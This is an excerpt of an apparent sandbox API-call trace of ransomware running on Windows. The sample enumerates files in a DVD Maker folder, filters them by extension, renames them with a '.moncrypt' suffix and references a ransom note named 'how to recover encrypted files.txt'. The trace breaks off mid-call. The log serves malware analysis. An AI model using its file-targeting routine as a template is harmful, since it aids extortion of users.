hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0057.780] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.780] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.780] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.780] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.781] GlobalUnlock (hMem=0x440004) returned 0 [0057.781] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.781] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.781] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.781] GlobalUnlock (hMem=0x440004) returned 0 [0057.781] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.781] GlobalUnlock (hMem=0x44000c) returned 0 [0057.781] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.781] CharLowerBuffW (in: lpsz="layers.png", cchLength=0xa | out: lpsz="layers.png") returned 0xa [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png", cchWideChar=68, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.pngn", lpUsedDefaultChar=0x0) returned 68 [0057.782] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.782] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\LayeredTitles\\layers.pngn", lpUsedDefaultChar=0x0) returned 4 [0057.782] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 0x54e280 [0057.782] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.782] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.782] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.782] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png", dwFileAttributes=0x20) returned 0 [0057.782] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.783] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png.moncrypt")) returned 0 [0057.783] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.783] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.783] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.783] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.783] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.783] GlobalUnlock (hMem=0x44000c) returned 0 [0057.783] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.783] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.783] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.783] GlobalUnlock (hMem=0x44000c) returned 0 [0057.783] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.783] GlobalUnlock (hMem=0x440004) returned 0 [0057.783] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.783] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0057.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png", cchWideChar=90, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.pngl", lpUsedDefaultChar=0x0) returned 90 [0057.785] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.785] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\LayeredTitles\\NavigationLeft_ButtonGraphic.pngl", lpUsedDefaultChar=0x0) returned 4 [0057.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.785] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.785] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.785] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.785] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.786] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0057.786] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.786] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.786] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.787] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.787] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.787] GlobalUnlock (hMem=0x440004) returned 0 [0057.787] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.787] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.787] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.787] GlobalUnlock (hMem=0x440004) returned 0 [0057.787] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.787] GlobalUnlock (hMem=0x44000c) returned 0 [0057.787] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.787] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, 